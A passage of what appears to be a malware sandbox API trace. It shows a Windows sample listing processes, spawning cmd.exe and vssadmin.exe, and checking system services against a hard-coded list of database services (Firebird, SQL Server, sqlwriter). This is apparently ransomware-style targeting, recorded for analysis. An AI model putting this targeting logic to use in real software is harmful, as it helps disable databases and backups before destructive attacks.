th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0052.538] lstrlenW (lpString="disorder.exe") returned 12 [0052.538] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0052.538] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0052.538] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0052.539] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0052.539] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0052.540] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0052.540] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0052.540] lstrlenW (lpString="perspective.exe") returned 15 [0052.540] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0052.541] lstrlenW (lpString="demand-site.exe") returned 15 [0052.541] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0052.542] lstrlenW (lpString="attachment.exe") returned 14 [0052.542] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0052.542] lstrlenW (lpString="valid-permit.exe") returned 16 [0052.542] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0052.543] lstrlenW (lpString="knights.exe") returned 11 [0052.543] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.543] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0052.543] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0052.544] lstrlenW (lpString="ohbdap.exe") returned 10 [0052.544] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0052.545] lstrlenW (lpString="cmd.exe") returned 7 [0052.545] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0052.545] lstrlenW (lpString="conhost.exe") returned 11 [0052.545] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0052.546] lstrlenW (lpString="vssadmin.exe") returned 12 [0052.546] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0052.546] lstrlenW (lpString="VSSVC.exe") returned 9 [0052.547] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.547] lstrlenW (lpString="svchost.exe") returned 11 [0052.547] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0052.548] CloseHandle (hObject=0x20c) returned 1 [0052.548] Sleep (dwMilliseconds=0x1f4) [0053.221] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fff8 [0053.222] EnumServicesStatusExW (in: hSCManager=0x52fff8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0053.222] GetLastError () returned 0xea [0053.222] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x5a5d28 [0053.223] EnumServicesStatusExW (in: hSCManager=0x52fff8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a5d28, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a5d28, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0053.223] CloseServiceHandle (hSCObject=0x52fff8) returned 1 [0053.223] lstrlenW (lpString="Appinfo") returned 7 [0053.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0053.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0053.223] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0053.223] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0053.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0053.223] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0053.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.224] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0053.224] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0053.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0053.224] lstrlenW (lpString="AudioSrv") returned 8 [0053.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0053.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0053.224] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0053.224] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0053.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0053.224] lstrlenW (lpString="BFE") returned 3 [0053.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0053.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0053.224] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0053.224] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0053.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0053.224] lstrlenW (lpString="CryptSvc") returned 8 [0053.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0053.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0053.224] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0053.224] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0053.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0053.224] lstrlenW (lpString="CscService") returned 10 [0053.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0053.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0053.224] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0053.224] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0053.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0053.224] lstrlenW (lpString="DcomLaunch") returned 10 [0053.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.224] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0053.225] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0053.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0053.225] lstrlenW (lpString="Dhcp") returned 4 [0053.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0053.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0053.225] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0053.225] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0053.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0053.225] lstrlenW (lpString="Dnscache") returned 8 [0053.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0053.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0053.225] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0053.225] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0053.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0053.225] lstrlenW (lpString="DPS") returned 3 [0053.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0053.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0053.225] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0053.225] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0053.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0053.225] lstrlenW (lpString="eventlog") returned 8 [0053.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0053.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0053.225] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0053.225] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0053.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0053.225] lstrlenW (lpString="EventSystem") returned 11 [0053.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0053.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0053.225] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0053.225] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0053.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0053.226] lstrlenW (lpString="gpsvc") returned 5 [0053.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0053.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0053.226] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0053.226] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0053.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0053.226] lstrlenW (lpString="iphlpsvc") returned 8 [0053.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.226] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0053.226] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0053.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0053.226] lstrlenW (lpString="LanmanServer") returned 12 [0053.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0053.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0053.226] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0053.226] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0053.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0053.226] lstrlenW (lpString="LanmanWorkstation") returned 17 [0053.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.226] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0053.226] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0053.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0053.226] lstrlenW (lpString="lmhosts") returned 7 [0053.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0053.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0053.226] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0053.226] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0053.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0053.226] lstrlenW (lpString="MMCSS") returned 5 [0053.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0053.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0053.227] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0053.227] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0053.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0053.227] lstrlenW (lpString="MpsSvc") returned 6 [0053.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0053.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0053.227] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0053.227] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0053.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0053.227] lstrlenW (lpString="Netman") returned 6 [0053.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0053.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0053.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0053.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0053.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0053.227] lstrlenW (lpString="netprofm") returned 8 [0053.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0053.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0053.227] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0053.227] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0053.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0053.227] lstrlenW (lpString="NlaSvc") returned 6 [0053.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0053.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0053.227] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0053.227] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0053.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0053.227] lstrlenW (lpString="nsi") returned 3 [0053.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0053.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0053.228] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0053.228] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0053.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0053.228] lstrlenW (lpString="PcaSvc") returned 6 [0053.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0053.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0053.228] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0053.228] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0053.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0053.228] lstrlenW (lpString="PlugPlay") returned 8 [0053.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0053.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0053.228] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0053.228] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0053.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0053.228] lstrlenW (lpString="Power") returned 5 [0053.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0053.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0053.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0053.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0053.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0053.228] lstrlenW (lpString="ProfSvc") returned 7 [0053.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0053.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0053.228] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0053.228] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0053.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0053.228] lstrlenW (lpString="RpcEptMapper") returned 12 [0053.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.229] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0053.229] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0053.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0053.229] lstrlenW (lpString="RpcSs") returned 5 [0053.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0053.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0053.229] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0053.229] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0053.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0053.229] lstrlenW (lpString="SamSs") returned 5 [0053.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0053.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0053.229] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0053.229] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0053.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0053.229] lstrlenW (lpString="Schedule") returned 8 [0053.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0053.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0053.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0053.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0053.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0053.229] lstrlenW (lpString="SENS") returned 4 [0053.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0053.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0053.229] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0053.229] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0053.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0053.229] lstrlenW (lpString="ShellHWDetection") returned 16 [0053.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.229] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0053.229] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0053.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0053.230] lstrlenW (lpString="Spooler") returned 7 [0053.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0053.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0053.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0053.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0053.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0053.230] lstrlenW (lpString="swprv") returned 5 [0053.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0053.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0053.230] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0053.230] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0053.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0053.230] lstrlenW (lpString="SysMain") returned 7 [0053.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0053.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0053.230] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0053.230] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0053.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0053.230] lstrlenW (lpString="Themes") returned 6 [0053.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0053.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0053.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0053.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0053.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0053.230] lstrlenW (lpString="TrkWks") returned 6 [0053.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0053.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0053.230] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0053.230] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0053.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0053.230] lstrlenW (lpString="UxSms") returned 5 [0053.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0053.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0053.231] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0053.231] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0053.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0053.231] lstrlenW (lpString="VSS") returned 3 [0053.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0053.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0053.231] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0053.231] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0053.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0053.231] lstrlenW (lpString="WdiServiceHost") returned 14 [0053.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.231] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0053.231] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0053.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0053.231] lstrlenW (lpString="WdiSystemHost") returned 13 [0053.231] lstrcmpiW 